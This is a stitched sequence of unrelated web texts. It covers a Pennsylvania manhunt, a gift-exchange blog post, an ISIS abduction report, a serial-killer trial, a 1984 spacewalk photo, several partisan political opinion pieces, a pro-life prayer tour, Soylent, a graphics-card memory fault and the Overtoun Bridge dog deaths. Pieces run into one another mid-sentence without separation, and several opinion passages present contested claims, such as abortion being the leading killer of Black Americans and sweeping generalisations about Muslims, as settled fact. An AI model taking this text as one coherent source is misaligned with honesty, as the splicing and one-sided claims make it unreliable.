Lt. Col. George Bivens said the latest sighting was from a woman out for a walk, who said she saw Frein near Pocono Mountain East High School and she was 15 to 20 feet away at the time. Frein went to high school at Pocono Mountain East, police said.
Bivens called it a highly credible sighting and said state police have moved their search area south to Paradise and Pocono townships in Monroe County.
Frein is accused of opening fire on two state police troopers Sept. 12 at the Blooming Grove Barracks in Pike County -- killing 38-year-old police Cpl. Bryon Dickson and badly wounding Trooper Alex Douglass during the shooting. Frein, believed to be armed and dangerous, is on the FBI's most-wanted list.
Police also found blood at two homes that they are testing, as well as discarded items that they are investigating, Bivens said.
Police are asking ask people to call the tip line at 866-326-7256 or 911 if they see anything suspicious.
Bivens said state police would not require schools to close, but would make recommendations to the school district.
Investigators have spoken to Douglass and Bivens said he spoke with Douglass as well.
"He is in good spirits and is doing well," Bivens said.
Asked how much the search for Frein has cost, Bivens would only say police are under the $10 million mark.
"We're not going to rest," Gov. Tom Corbett said at the news conference. "Nobody's going to stop until we find this individual and he's apprehended."
Corbett said police and officials were thankful for the community support, from cards and letters to local restaurants providing food.
"I know it might be hurting their bottom line," Corbett said. "I know this has been trying on everybody."Trying to list stuff I want is hard for me, so I tend to leave things a bit open so that way I can get surprised by what other people like, or think I would like.
For this exchange I told my Santa that I love to learn things, and gave them a short list of things that I have learned in the past. They came back with two excellent gifts that show they took some time to think about what to get me.
I received a Raspberry Pi kit and some Whole Bean Coffee!
I've been meaning to pick up a Raspberry Pi for a while, but somehow haven't ever managed to do so. Maybe this will get me started on my robot army goal :)
Coffee will pretty much always get a great reaction from me, and this time is no different.
Thank you Santa for the gifts!A Christian nurse from the Philippines was allegedly abducted and gang raped by up to six men from the militant terrorist group ISIS, also known as the Islamic State, in Libya last Wednesday.
According to a report from Shoebat.com, the woman was abducted outside her home and taken to an undisclosed location where she was brutally raped by the allegedly “religious” gang of men. The Philippines’ Foreign Affairs spokesman, Charles Jose, told reporters that the victim of the rape was released by her abductors after about two hours.
The incident comes just days after a construction worker, also from the Philippines, was abducted and beheaded by ISIS because they deemed him to be a “non-Muslim.”
The International Business Times reported that as a result of the latest incidents, the government of the Philippines have called for the full evacuation of all of its 13,000 citizens living in Libya, which is in the midst of a bloody civil war following the recent entry of ISIS fighters to the country.
Foreign Secretary Albert del Rosario said on Thursday to reporters that he was flying to Djerba island in Tunisia to “try to convince our people to leave [Libya] because the situation there is very dangerous.”
President Benigno Aquino’s spokesman Herminio Coloma said in Manila: “We condemn these crimes that have been committed against our people.”
There seems to be no limits to the brutality that ISIS and its followers bring to places they conquer, including the public stoning to death of two women in Syria who were accused of committing adultery, as reported by The Inquisitr.
Sadly, the world media seems distracted with events in Gaza as many accuse Israel of carrying out genocide against the Palestinian people. It seems strange that the outrage just isn’t there when it comes to extremist Muslims killing and torturing everyone in their path, all in the name of Allah.
Hopefully, the world will soon wake up to the real threat that ISIS, Hamas, and the Muslim Brotherhood pose to western democracy, and particularly to Jews and Christians.Convicted murderer Joseph Naso asked a Marin County jury Wednesday not to sentence him to death, describing himself as a someone who cares deeply about people and likes to help those in need.
Then he called attorneys “whores,” said the prosecutors were “jealous” of his excellent opening statement, and told prosecutor Rosemary Slote she needed to fix her hair.
The latter comment, made after the jury was excused for lunch, drew a furious rebuke from Judge Andrew Sweet. The judge said Naso is behaving as though the trial is a game.
“Knock it off,” Sweet told the 79-year-old killer. “Act your age.”
The exchange came during the first day of the death penalty phase of Naso’s trial. He was convicted last month in the strangulation murders of four prostitutes in the 1970s and 1990s.
In addition to those crimes, prosecutors say the evidence implicates Naso in the murders of two other women: Sharileea Patton, whose body washed up in Tiburon in 1981, and Sara Dylan, a nomadic Bob Dylan groupie who was killed in 1992 in or near Nevada County.
Although prosecutors did not have time to charge Naso with the Patton and Dylan murders before his trial started, they are using the cases as additional evidence why he deserves the death penalty.
The prosecution will also present evidence involving other rapes or attempted rapes, including cases where Naso allegedly drugged his former wife, Judy, so she could be sexually assaulted by other men.
The prosecution also plans to present testimony from the children of Naso’s murder victims, who will talk about how they grew up without their mothers.
“This, ladies and gentlemen, is the time to think about the victims, and what they suffered at the hands of the defendant,” said Deputy District Attorney Dori Ahana.
Naso, wearing a white dress shirt and gray slacks but no jacket or tie, insisted that the prosecution did not prove he was guilty of the murders. He also faulted the jury deliberating for what he considered an insufficient period of time.
“I just want to reiterate that I don’t think the people proved their case against me legally,” said Naso, who represented himself at the trial.
The death penalty phase of the trial is expected to last several weeks.
Naso was convicted of murdering Roxene Roggasch, 18, whose body was dumped west of Fairfax in 1977; Carmen Colon, 22, who was found near Port Costa in 1978; Pamela Parsons, 38, who was found in Yuba County in 1993; and Tracy Tafoya, 31, who was found in Yuba County in 1994.
The case against Naso came together in 2010, when a routine probation check at his home in Reno turned up an extensive collection of photographs of dead or unconscious women in various states of undress and other evidence linking him to the murders.
Contact Gary Klien via email at gklien@marinij.com or https://twitter.coIt is probably one of the most well-known picture from the history of spaceflight. This picture express the whole spirit of space expoloration with the free flying astronaut and the Earth with the blue oceans on the background. But you likely don’t know when, where and how that picture is made. This week’s “A picture from space” article is going to answer to these questions.
The picture is made on February 4, 1984 during the Space Shuttle Challenger’s STS-41-B mission. The STS-41-B mission lifted off from the Kennedy Space Center 8 am EST on February 3, 1984. The mission’s crew was Vance D. Brand, Robert L. Gibson, Bruce McCandless, Robert L. Stewart and Ronald E. McNair. The mission’s primary objective was the deployment of two communications satellite. The astronaut in the picture is Bruce McCandless who was tested the “Manned Manuvering Unit” (MMU). It was the first untethered spacewalk of the history of spaceflight. The astronauts usually tethered to the spacecraft to prevent the drift of the astronauts. The MMU gave the opportunity to free fly with the “armchair with rockets.” The MMU is a frame with a propulsion unit, attached to the astronauts. It also contained the spacewalker’s life support systems. It has a weight of 126 kilograms and was capacble of 25 m/s delta-v. NASA used the MMU for 3 missions before it was retired because it was judged too risky to use. Today the MMU has a successor, the “Simplified Aid For EVA Rescue” (SAFER) which is a smaller sized astronaut propulsion unit, and just used in the case of emergency. But nowdays the astronauts working tethered during EVAs and free flying is not allowed anymore.
(Picture: nasa.gov)On the Sunday broadcast of “Justice” on Fox News Channel, host Judge Jeanine Pirro criticized Nikki Haley for targeting GOP presidential front-runner Donald Trump in the GOP response to President Barack Obama’s last State of the Union address on Tuesday.
In Pirro’s “Opening Statement” segment, she directed her ire at Haley for attacking a fellow Republican instead of attacking the Democratic Party’s “so-called leadership.” Pirro urged the South Carolina governor to get behind Trump because he is the party’s front-runner.
The Republican party is in real trouble. They proved it to all of us this week. Their primary strategy as it relates to Donald Trump right now is dead wrong. It will cost them the election and the White House. There’s trouble brewing behind the scenes that has occasionally seeped out. This week, Republicans took a direct hit at Donald Trump. their leading Republican presidential frontrunner in every national poll. Last I heard, only animals eat their young, and maybe a few cannibals.
Republican Governor Nikki Haley, designated by Paul Ryan and Mitch McConnell to rebut President Obama’s last State of the Union address, instead of saying how the Democratic nation has failed us takes a shot and chastises Donald Trump. Instead of commenting how out of sync Democrats are with the American people, how Obama’s feckless foreign policy has turned us into an international joke repeatedly negotiating with terrorists creating safety and security problems for Americans, the world has never been a more dangerous place, the military never more shackled, the Second Amendment never in more danger and our children and grandchildren never in more debt. The most dangerous terrorist organization of the world has even the world has ever known is now focused on us and Nikki Haley takes a shot at Donald Trump?
Who anointed you to take a shot at the leading contender for president in your own party in a nationally televised historic rebuttal when you could have laid out a strategy of how the very fabric of America has changed under this Democratic so-called leadership. How about you turn your unsolicited comments toward the president’s comments about your party? Why don’t you tell him to tone down the rhetoric?Then there is the president who should be known from now on as the “Don’t Worry, Be Happy” president: Barack Obama.
Presidents have been known for slogans that came to symbolize their agendas. There were the New Deal, Great Society, and New Frontier presidents. There was the president who spoke softly but carried a big stick.
Very few of our presidents have ever been truly prepared to handle the rigors of the presidency, but most of them have risen to the challenge. The time period for Obama to do so expired long ago. His leadership has been consistently and willfully obtuse and oblivious to the duties and responsibilities of the presidency.
He has routinely dismissed massive problems and threats to Americans as being trivial -- beneath his God-like goal to halt the rise of the oceans. Instead, he has portrayed his stewardship as being exemplary -- one of the top four presidencies in history -- and conveyed in various ways we should not worry and be happy, if not be thankful to have him.
If ignorance is bliss, Barack Obama is one of the most blissful leaders in our nation’s history.
When David Letterman once asked Obama about the rapidly growing national debt Obama didn’t have the faintest clue regarding its size (Romney would have known to the penny). His budgets are not only repeatedly late but larded with even more spending, heedless of dire debt warnings from the Congressional Budget Office.
In the throes of the recession with many millions unemployed and businesses failing across America, he said private businesses were doing just fine (the only problem were there were too few government workers). But weren’t the trillion dollar stimulus boondoggle and those multitude of green schemes peddled by Democratic cronies supposed to create millions of jobs and lower the unemployment rate? One more promise down the drain, but it sure was grist for laughter when Obama later joked that it turns out there were no such things as “shovel-ready jobs.” Real people with real jobs will be paying for this disaster for decades.
Don’t worry, be Happy.
But will future taxpayers be so happy?
How did Obama address the IRS scandal? At first, outrage suitable to the public mood. But as the stonewalling continued and the media served its block and tackle role for him, he dismissed its importance and declared there was not even a “smidgen of corruption” involved in that scandal -- even before the investigation was complete /.
Move on, the debate is over, be happy.
His signature achievement, ObamaCare (how Democrats refer to the Affordable Care Act depends on the audience), was “working the way it should,” Obama boasted and claims that it is hurting people have been “completely debunked.”
President Obama certainly seemed in fine fettle when he declared the debate is over when final (and very suspect) initial enrollment numbers were released. Those people who have lost their insurance, doctors, preferred hospitals, cheaper premiums, and jobs might beg to differ (even though they are all liars, according to Senate Majority Leader (dirty) Harry Reid).
But Obama seems not to be worry and is happy since the program in his mind is working as it should, leading America towards nationalized health care.
Obama confidently and blithely declared America can absorb another terror attack (tell that to the victims and their families). This perspective is part and parcel of downplaying all violence committed by Islamic extremists -- hence the Fort Hood Massacre was an act of “workplace violence” despite the perpetrator screaming “Allahu Akbar” as he murdered Americans serving their country. Lest we forget at a press conference shortly thereafter Obama issued cheerful shout-outs to friendly journalists before deigning to mention the Texas tragedy. Benghazi was blamed on a video critical of Islam not on the terrorists themselves. While the attack was occurring, Obama took a break from the rigors of responsibility to rest up for his mega-donor fundraiser in Las Vegas the next day.
Obama has touted Al Qaeda’s demise at least 32 times and it is not on the path to defeat (it controls more territory than ever before). Yes, Osama Bin Laden is dead -- and Obama played cards with his body man, Reggie Love (how does one get a body man?) while our soldiers were risking their lives to bring him down.
Why worry? Be happy.
Iran is dismissed as a tiny country that poses no threat to America -- did our geographically challenged president (57 states, Hawaii is not in Asia, they don’t speak “Austrian” in Austria) ever look at a map? Did the self-declared student of history not comprehend all the Americans killed by Iran and its proxies (Beirut barracks bombing, Khobar Towers, Iraq)? He also said that Iran was not seeking to carry out terror attacks in America -- despite the plot to kill the Saudi and Israeli Ambassadors in Washington, D.C. that was widely covered in the news and had been uncovered just a few weeks before. True, he routinely skips daily economic, national security, and Cabinet meetings but even his close friend Eric Holder knew this was an Iranian assassination plot.
Obama’s television addiction has been widely commented upon but his fare runs to fluff such as Mad Men, SportsCenter, Real Housewives, Jersey Shore, tons of HBO, and not, say, the actual news (to the extent he takes his news, it is “fake news” with a liberal slant via The Daily Show, where, White House spokesman Jay Carney recently informed us, he had his toughest interview.) He is glued to the Boob Tube -- video Chooming. Wallowing in popular culture certainly beats dealing with crises and being entertained pleases Obama -- he even feels entitled for advance copies of hit shows.
His insular presidency (he doesn’t like people) is shielded from bad news by ego-protector Valerie Jarrett who buffers him from “critics and complainers who might deflate his ego” with bad news or reports of problems that might actually require him to work -- he has a problem with his work ethic, after all. It is far better for his mood to surround himself with a Team of Idolizers, as even the New York Times liberal columnist Roger Cohen notes has been done.
Don’t worry, be happy.
Russian invades Crimea (violating a twenty-year treaty) -- or as the White House politely describes it “uncontested arrival” (Roget’s Thesaurus must be the most useful book for the administration, so addicted to euphemisms -- too bad George Orwell missed this opportunity).
What does Barack Obama do in response? Emits some pabulum fed to him by his handlers and then moves on to a Democratic Party fundraiser where he declares before a cheering crowd, “Well, it’s Friday, it’s after 5:00. So this is officially happy hour with the Democratic Party”.
After all, Obama told a crowd, ”We never need an excuse for a good party” and and they certainly throw a lot of them-especially private musical concerts in the East Room. Imagine the blowout party when Iran detonates its first nuclear weapon.
Don’t worry, be happy!
Who is worrying? Ukrainians and people throughout Europe and the world who fear the run of the dictators has a long way to go. Who is happy? Vladimir Putin, Barack Obama, and that party of cheering democrats.
Well, why should Obama worry? After all, Obama tells us that Russia is a “regional power” and its successful invasion of the Ukraine was “acting out of weakness,” and Ukraine is “not some Cold War chessboard” because the Cold War has been over for decades. When fighting erupted in the Ukraine, Obama immediately called the…coaches of the University of Connecticut basketball team to congratulate them on their championship.
Obama is still sticking with his wrong claim that Russia is not our number one geopolitical foe because to admit otherwise would be to confess that Obama was wrong and Romney was right, Barack Obama does not accept responsibility for mistakes so he routinely dismisses or downplays them. He ignores reality and lives in a personal, palatial Wonderland. He is happier there.
Not sure Vlad the Impaler or his victims would view it in the same way. By dismissing the threat, he absolves himself of responsibility. Even when he was compelled to draft some sanctions on Russia they were all but toothless and he went about the rest of his day being…happy.
Meanwhile, Russia violated the nuclear arms control treaty America had with it and the White House smothered the news and remained silent (if a tree falls in the forest…), while accelerating the hollowing out of our own military and speeding up the de-commissioning of our own nuclear weapons.
Obama has broken many promises to Americans but kept one promise -- to Putin: he would be flexible if he won reelection. Indeed, Barack Obama has shown the spineless flexibility of Gumby and our enemies have taken note.
The poker-playing President does not even try to bluff anymore (what red lines in Syria?). Geopolitical strategy 101 preaches the value of strategic ambiguity -- keep the other side guessing. Our foes don’t need to calculate Obama’s response to provocative actions on their part -- he gives them advance notice that military help for the beleaguered Ukrainians is not in the offing (he will send them snacks they can eat as they watch their nation, whose independence we had guaranteed, be dismembered); any sanctions will be weak and not a “threat or meant in a personal way” (via Obama’s proxy, John Kerry); “send the troops” has been replaced by send the tweets, and Obama even there is being punked by Putin.
After all, it is in Obama’s interest to ignore treaty violations by our adversaries-just as he ignores Iran’s nuclear program, the breaking of our immigration laws, IRS scandals, Fast and Furious, the burgeoning entitlement crisis and myriad other problems on the horizon. If he acknowledged them he would have to work and work does not make him a happy camper.
How does Obama get away with all this feel good palaver? His most fervent supporters, millenials, get their news from Facebook and other social media. Tweets are the length of the attention span of many of them. And many of those tweets come from the White House and Obama’s own Organize for Action. Fox News is denigrated constantly.
While their fathers might have relied on Huntley and Brinkley, Reasoner, and, before them, Edgar Murrow and Eric Sevareid, they now get their news from comedians such as Stewart, Colbert, and Letterman. With the former, there was an obligation to report the news as faithfully as possible -- that was the standard anyway. But with our modern-day newscasters/comedians, the obligation seems to be to mock Republicans, get laughs and ratings and display proper servility to Democrats. The vast wasteland has arrived.
The traditional media has been (willingly) coopted. Most journalists are liberal and give the vast majority of their political donations to Democrats. Recently, the media has been in overdrive to hype the good news about ObamaCare while burying the bad news
-copying the Obama playbook.
And this servile behavior by the media suits Obama’s “Don’t Worry, Be Happy” approach to the presidency.
Why work? After all, he seemingly has no problem creating a nation of loafers and he most assuredly knows the appeal of such a life, as opposed to, say, working.
Far more enjoyable to play golf, live it up in the lap of luxury, fulfill the dream of every adolescent sports fan to tee off and play hoops with legends, be serenaded by music stars. Even the funeral of Nelson Mandela’s became an opportunity to smile and yuck it up for yet another selfie. This is a president who completely lacks self-awareness and respect for solemn occasions and the office of the presidency.
When the chickens come home to roost, as his moral compass Reverend Jeremiah Wright, Junior might put it, he will be long gone from the White House and they will be someone else’s problem -- as well as the problem of every American.
Famed literary agent Andrew Wylie has said that Obama’s memoirs could command $20 million and Michelle’s memoir (reportedly she is at work on it now) could ring the bell at $12 million. Round it up with speaking fees, board memberships, sweetheart investment deals, and the like and one can wonder why he just can’t build his own presidential library and not saddle Illinois taxpayers with the due bill.
No wonder Obama could tout that he is not worried about the future of their daughters who are on the path of success: “they’re on a path that is going to be successful, even if the country as a whole is not successful.” Nice to know at least they will be happy as Americans struggle to pay off the record debt and deficits racked up during the Obama era.
Come to think of it, why shouldn’t Barack Obama be happy? He has succeeded in his goal of fundamentally transforming America. And the rest of America will be left cleaning up the mess from his party.ANN ARBOR—Small children tend to believe boys are born to like football and girls are born to like dolls?much in the same way that cats are born different from dogs, research shows.
The new study offers important implications for how children think about activities that are culturally associated with particular genders, said University of Michigan psychology researchers Susan Gelman and Marjorie Rhodes, and Pacific Lutheran University professor Marianne Taylor. The research is featured in the journal Child Development.
“By confronting this belief directly, parents and teachers can help encourage girls and boys to explore a wider range of school activities,” Gelman said.
The researchers surveyed more than 450 Americans from diverse racial-ethnic and socioeconomic backgrounds who were 5 years old to college age. The study’s findings confirm prior research, which has shown that adults and children alike think different species have deep biological differences, for example, that innate differences cause dogs to behave differently from cats.
When children are at least 10, according to the research, they begin to treat gender and species concepts as distinct from one another. At that age, they also understand that environment plays a role in gender-related behaviors.
Researchers used a “switch |
We do not certify teachers who are not working for one of our members at the time they are certified. They may keep their certification if they leave the school, but only if they leave in good graces with the membership. The teacher must furnish a request letter from the member school and a resume. If they have attended official classes at a college in their field they must furnish a transcript of credits. If they have been conferred a degree, a copy of the degree should also be submitted with the application. Please only send copies because we will not return them. The fee for teacher certification is $25.00 per year at all levels. The certificate must be renewed January 1 each year.
Meanwhile, well-meaning consumers, who have been trained to ask, "Is it accredited," reach for their checkbooks, because they don't know that they must ask the essential second question: "And is the accrediting agency recognized by the Department of Education or the Council on Higher Education Accreditation?"
__________________
John Bear is an author based in El Cerrito, California. For 12 years he was the FBI's principal consultant and expert witness on diploma mills and fake degrees. His books include Bear's Guide to Earning Degrees by Distance Learning and College Degrees by Mail and Internet.Contents show]
News Edit
New Discussion Board Edit
Rob has started a new discussion board over at discourse.soylent.me. I suggest we take all our discussion over there, leaving this site just as a pool of knowledge.
Welcome to the Soylent Wiki Edit
Welcome! This wiki is for the sharing of knowledge about Soylent, as inspired by Rob Rhinehart. We'll discuss how to make our own versions: what we need to put it in, possible conflicts, daily values, etc. You are invited to join and help expand our pool of knowledge.
A word of warning: this is an experimental diet and putting it together may require some knowledge of chemistry (college intro-level). You make and consume your own Soylent at your own risk, so please only do it if you are confident in your abilities.
On February 13, 2013, a software engineer named Rob Rhinehart posted on his blog about a new diet he'd been trying. Instead of consuming regular food, he researched all the necessary nutrients and combined them into a shake of sorts that he called Soylent, which he consumed exclusively for a month. He has since given us more information about what he's done as well as included others in his experiment. These trials didn't come close to fitting all who wanted to try Soylent themselves, and some went off and created their own formulations of Soylent. This Wiki is for those of us who want to create our own versions of Soylent, to share information so as to make our endeavor safer and easier.by Eli Clifton
Sen. Cory Booker (D-NJ) is feeling the heat. Progressive advocacy groups are pushing Democrats from one side to back the Obama administration’s plan to constrain Iran’s nuclear program. From the other side, meanwhile, New Jersey’s Republican Governor Chris Christie vows to lobby Booker to join the senior senator from New Jersey, Robert Menendez, in opposing the Iran deal.
NJ.com reports that Booker is probably under pressure from NORPAC, the pro-Israel PAC aligned with the American Israel Public Affairs Committee (AIPAC), which has been “Booker’s biggest lifetime source of campaign cash, contributing or raising $158,871.” But NORPAC is only the tip of the iceberg when it comes to Booker’s support. Super PACs underwrote over a million dollars in independent expenditures to support Booker’s 2014 Senate campaign. Two of the most generous of these PACs received funding from Republican millionaires and billionaires opposed to the Iran deal, most of whom don’t even live in Booker’s home state of New Jersey.
According to the non-partisan Center for Responsive Politics, Booker received $732,534 in supportive expenditures from the Independence USA PAC in the 2014 election cycle. Independence USA is exclusively funded by Michael Bloomberg. Writing in an August 10 column for Bloomberg View, the former New York City mayor claimed to be undecided about the Iran deal. But his scolding of the White House’s defense of the deal as “only hurting their credibility” and praise for New York Senator Chuck Schumer’s “thoughtful statement opposing the deal” leave little question about which way Bloomberg is leaning.
Independence USA PAC leaned Republican in 2014, spending $2,078,996 to support Democrats, $2,098,920 to support Republicans, and $1,403,868 against Democrats.
Booker’s second largest outside spender, Mobilization Project, supported only one campaign in the 2014 election cycle: $532,445 for Booker. Mobilization Project received its biggest infusion of cash, $137,564 from hedge funder Edward Nicoll. Hedge fund billionaire Seth Klarman (who serves on the board of the anti-Iran deal group The Israel Project), Michael Fux (who sat on the board of Friends of the Israel Defense Forces) contributed $100,000, and Ravenel B. Curry III (who serves as a trustee of the hawkish American Enterprise Institute) contributed $50,000.
According to the nonpartisan Sunlight Foundation, Klarman directs the vast majority of his political giving to Republicans.
In the 2014 election cycle, Nicoll only supported Booker and Fux directed most of his giving to Booker-supporting groups. Curry’s other major 2014 contribution, $500,000, went to the Freedom Partners Action Fund, which is spearheaded by the Koch brothers.
Michael Bloomberg, Seth Klarman, Edward Nicoll, and Ravenel Curry made their contributions from non-New Jersey addresses, suggesting that only Michael Fux is an actual resident of the state represented by Booker. (Edward Nicoll made campaign contributions from a New Jersey address until 2005.)
Several close friends of Cory Booker—Rabbi Shmuley Boteach, a former Republican congressional candidate, and New Jersey Governor, and Republican presidential candidate, Chris Christie—are pushing him to oppose the Iran deal. Boteach, both through his foundation and his congressional campaign, has been a recipient of GOP megadonor and Iran hawk Sheldon Adelson’s largesse. And Chris Christie’s relationship with Adelson has been an ongoing point of interest for those following the 2016 political horse race.
Booker may balk at the pressure and back Obama’s signature foreign policy accomplishment. But it will require standing up to a group of powerful and deep pocketed political donors, many of whom don’t reside in New Jersey or regularly support Democrats. Booker’s decision may come down to how big a debt of gratitude he feels he owes to his biggest financial supporters.
Photo of Cory Booker by Jamelle Bouie via FlickrWashington, DC (LiveActionNews) — My heart exploded with joy as Atlanta minister Corey Lee told me of his plans to take a team of 30 minority college students across the country to pray at historically black universities and churches. Corey and his wife Jade are the kind of people who take risks, walk by faith, and sacrifice themselves for the sake of others.
They run a discipleship school called “The Well” and a ministry called “Freedom Atlanta” which helps spiritually equip students at the HBCUs in Atlanta. I became dear friends with the Lees while living in Georgia as a prayer missionary for the city of Atlanta. During that time I’d join Corey, Jade, and their team of students to pray for the ending of abortion and revival in the hearts of students at Morehouse, Spellman, and Clark Atlanta.
Praying in the rain with college students at Atlanta late-term abortion clinic.
The Lees unashamedly tell college students that abortion is the #1 killer of black Americans. From prayer meetings to acts of compassion towards moms, they do everything they can to love the unborn and their parents.
Their “Freedom’s Cry” website for the HBCU prayer tour states this: “Abortion is the hidden enemy of the African Americans. It is the #1 reason for death in the black community, trumping diseases such as HIV/AIDs and Diabetes. Due to abortion, the death rate is higher than the birth rate in our people group. Black women make up the largest numbers of abortions in the nation even though we are only 14% of the population. Black women also make up the highest level of ‘unintended pregnancies’.”
Corey, Jade, and their team of students have taken this message to the road. They departed from Atlanta on the first week of July to head to the major cities of Birmingham, AL; Montgomery, AL; Hampton Roads, VA; Richmond, VA; Washington, D.C.; Charlotte, NC; New Orleans, LA; Orlando, FL; Miami, FL; Dallas, TX; and Los Angeles, CA. They are visiting 65 historically black colleges and universities. Their tour website gives 5 prayer points they will cover at every stop:
1. Pray for HBCUs 2. Pray for the Ending of Abortion 3. Pray for Sanctity of Marriage 4. Pray for a Prayer & Missions Movement in the Black Community 5. Call the Black Community into Missions
The students have a blog called “Freedoms Cry: The Cry for Spiritual Awakening and Change,” where they post daily updates from their journeys on the road. Their blog also has a “learn” section, where readers can discover research on abortion in the black community, the Civil Rights Movement, and the “prophetic calling” of the African-American community. In the creative expression section of their blog, you can find videos of young black American’s dancing and sharing poetry, and of a student expressing why she is pro-life. I find their blog updates from the road particularly fascinating.
A entry posted on July 12 titled “Southern University at New Orleans & The Black LIFE Tape Movement” tells of their first prayer meeting with “Black Life Tape” at Southern University. “Life Tape” comes from the Bound4Life movement, a prayer ministry dedicated to ending abortion and praying for righteous government. Bound4Lifers pray in front of courthouses, capitols, and abortion clinics wearing red tape with black letters spelling out LIFE. The Lees adopted this tape and put a new twist on it. Their team donned black tape with white letters on it as a symbolic gesture to stand against abortion in the black community.
Their update reports:
We wear black life tape on behalf of the black babies that never receive the opportunity to have their first cry. We pray on their behalf in anticipation of the ending of abortion in our nation. We prayed and marched out of Southern University wearing black life tape after singing, “The Blood of Jesus” and “We shall Overcome”.
The pictures of their outdoor prayer meeting filled me with hope. I believe that God can use these warriors to break the chains of death and bring a culture of life back to America.
Students pray to end abortion in the black community.
Marching and praying for justice for the unborn.
Praying for LIFE to be valued in the black community.
This prayer journey is historic, and its impact on our country will be immeasurable. Who knows what will happen when the prayers of these students begin to be answered? I hope this movement will awaken others in the black community to the reality of abortion. How can we fight for civil rights without remembering the rights of the unborn? The right to life begins in the womb!
Follow the Freedom Cry tour on their blog, Facebook page, Twitter page, and Instagram account.
LifeNews Note: Christinia Martin writes for the Live Action News.My Friend Jarrod McKenna sent me a link to this article the other, it’s written by Scot McKnight, professor of religious studies at North Park Theological Seminary in Chicago.
The Article is called “Five Streams of the Emerging Church.”
Here is a long quote from the article:
To define a movement, we must, as a courtesy, let it say what it is. Eddie Gibbs and Ryan Bolger, in their book, Emerging Churches: Creating Christian Community in Postmodern Cultures (Baker Academic, 2005) define emerging in this way: Emerging churches are communities that practice the way of Jesus within postmodern cultures. This definition encompasses nine practices. Emerging churches (1) identify with the life of Jesus, (2) transform the secular realm, and (3) live highly communal lives. Because of these three activities, they (4) welcome the stranger, (5) serve with generosity, (6) participate as producers, (7) create as created beings, (8) lead as a body, and (9) take part in spiritual activities. This definition is both descriptive and analytical. D. A. Carson’s Becoming Conversant with the Emerging Church (Zondervan, 2005) is not alone in pointing to the problems in the emerging movement, and I shall point out a few myself in what follows. But as a description of the movement, Carson’s book lacks firsthand awareness and suffers from an overly narrow focuson Brian McLaren and postmodern epistemology.
I really appreciate the article, it’s a quick snapshot into how many young churches are doing ministry. McKnight is respected voice within this group of emerging leaders, and speaks with credentials as a professor of New Testament. What he offers here in this article is a great starting point for thinking and discussing issues of the church.
I couldn’t help but find that these five streams help to name the many aspects of the covergent Friends sensibilities as well. In fact, as Quakers we would do well to take McKnight’s five streams seriously, and consider how they fit/don’t fit with our tradition (I would quickly add many more fit than we may first imagine). The one major difference between emerging churches and convgerent Friends is whereas the emerging church tends to be non-denominational church plants, or groups that have left their denominations (becasue their denominations didn’t get what they were doing), convergent Friends are trying to help progress their tradition. This is one of the most important commitment within this group of Quakers. It’s an updating and re-evaluation of our tradition in light of our historical commiments and in light of our current culture. It in a sense innovative, but understands that the only way to innovate (and have something long lasting) is to do so from within a single tradition.
McKnight’s article helps to spell out some of the major issues that all Christians ought to be asking, and maybe in the long run those questions will provide answers not just for those who tend to be more anti-tradition, as those who fall under the Nietzscheian and Enlightment philosophical influence, but also for those of us who are wholly committed to the ongoing narrative of our traditions.
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Like this: Like Loading...Apparently, our representatives in Washington are embracing pseudo-science:
Backed by some of the most powerful members of the Senate, a little-noticed provision in the healthcare overhaul bill would require insurers to consider covering Christian Science prayer treatments as medical expenses.
The provision was inserted by Sen. Orrin G. Hatch (R-Utah) with the support of Democratic Sens. John F. Kerry and the late Edward M. Kennedy, both of Massachusetts, home to the headquarters of the Church of Christ, Scientist.
The measure would put Christian Science prayer treatments — which substitute for or supplement medical treatments — on the same footing as clinical medicine. While not mentioning the church by name, it would prohibit discrimination against “religious and spiritual healthcare.”
It would have a minor effect on the overall cost of the bill — Christian Science is a small church, and the prayer treatments can cost as little as $20 a day. But it has nevertheless stirred an intense controversy over the constitutional separation of church and state, and the possibility that other churches might seek reimbursements for so-called spiritual healing.If you own a GeForce GTX 1070, you might want to pay attention to this news-item as you could be effected. There have been some problems reported with certain GeForce GTX 1070 cards.
After further investigation it became apparant that the issues like flickering and poor memory overclocking results on the memory sub-system are graphics memory related. GeForce GTX 1070 cards fitted with Samsung memory do not have any issues, however some manufacturers have or switched towards Micron chips, and these are the culprit of the reported issues. Especially during overclocking of the graphics memory problems will appear fast with bad results like checkerboard patterns. The problem is was found in the the speed of the voltage adjustment from the low power idle P-States to support the memory voltage requirements under load. If you can keep the idle voltage above 0.800V before you apply the overclock you never see the issue.
Some users also have reported that at default configuration they noticed the occasional odd issue like flickering or experiencing graphical artifacts. Multiple brands are and could be effected. Right now most of them are working on (or already issuing) a BIOS firmware update for the graphics cards, these BIOS updates likely increase the voltage level of the GDDR5 memory. Mind you that this only effects GeForce GTX 1070 graphics cards fitted with Micron based GDDR5 memory.
I've been doing some rounds at the manufacturers with the following info (we'll update as feedback gets in). A number of manufacturers is or have been working on VBIOS updates:
Inno3D: did not reply
KFA2/Galaxy: did not reply
PNY: did not reply
Zotac: no info available on website - update should be out
The most easy way to check what brand of memory your GeForce GTX 1070 is using is to download GPU-Z and read out the memory type (click thumbnail below for an example). The reality is that Micron’s GDDR5 memory chips shouldn’t really be any weaker opposed to what the Samsung ICs are doing. All cards we tested here ate Guru3D.com got Samsung memory. It however is not uncommon for manufacturers to switch to another brand of memory, as they purchase them in SMT batches and yes, a selection in price is made but should not effect performance. Due to the fact that our samples have Samsung memory we have not been able to verify any instability.
Have you noticed any issues with your GTX 1070? If so, let us know in the comments of this news-itsem.SUICIDE DOGS The Overtoun Bridge Mystery In 2005 I received a telephone call from a young television director, Matthew Burgess, of Making Time TV, and asked if I believed that it was possible for dogs to commit suicide. My immediate reaction was that it was impossible for a dog to premeditate its own death. I went on to discuss that, whilst many animals appear to be able to sense that their death is imminent and it is a common mistake to humanise a dog with our behaviour. Whilst it is a fact that some infirm animals are known to seek out a quiet sheltered place to experience a final resting, in what we might describe as a dignified end to life. An example of this has been recorded in the case of African elephants; when some individuals are nearing the end of life, they are known to make a last journey to a place referred to as the elephant's graveyard. Instinctively, these giants - the largest of land mammals on this planet - appear to know that this rather sad mission has to be made. This is also observed in some domesticated animals, including dogs and cats, when they search out a bolt-hole when fatally injured or diseased. However, the majority of suicides in people are recognised not to have made the same type of instinctive decision. In the mist of acute depression suffers rarely make rational decisions and ending it all for some is by making a fatal leap; the chosen option because they cannot see a way out of their personal situation. After I had replied with an emphatic NO my own question was to ask Matthew why he wanted to know if I believed that dogs could commit suicide. He replied by explaining that he had come across a strange phenomenon a significant number of dogs, over a period of decades, had inexplicably lost their lives by jumping off Overtoun 